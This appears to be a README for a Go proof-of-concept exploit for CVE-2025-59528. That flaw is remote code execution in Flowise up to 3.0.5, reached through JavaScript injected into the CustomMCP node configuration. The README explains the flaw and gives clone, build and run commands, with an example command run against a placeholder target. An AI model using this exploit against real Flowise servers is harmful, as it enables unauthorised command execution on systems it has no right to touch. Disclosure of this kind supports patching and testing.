
Go Proof of Concept (PoC) exploit for Flowise CustomMCP Remote Code Execution (RCE) CVE-2025-59528
A Go proof of concept for CVE-2025-59528 targeting Flowise versions <= 3.0.5.
Flowise allows unvalidated JavaScript execution via the CustomMCP node configuration. The application passes user-supplied input inside the mcpServerConfig parameter straight into a Function() constructor within the backend convertToValidJSONString function. This evaluates code with full Node.js privileges, allowing arbitrary system command execution via child_process.
git clone https://github.com/Moon-Harvest/CVE-2025-59528
cd CVE-2025-59528/
go run main.go <target-base-url> <api-key> <command>
go run main.go http://target.com h3D_9jD7Xzi0V2KSrld9ff4P3rm6cuNXg1uA-wFsUYc "touch /tmp/pwned"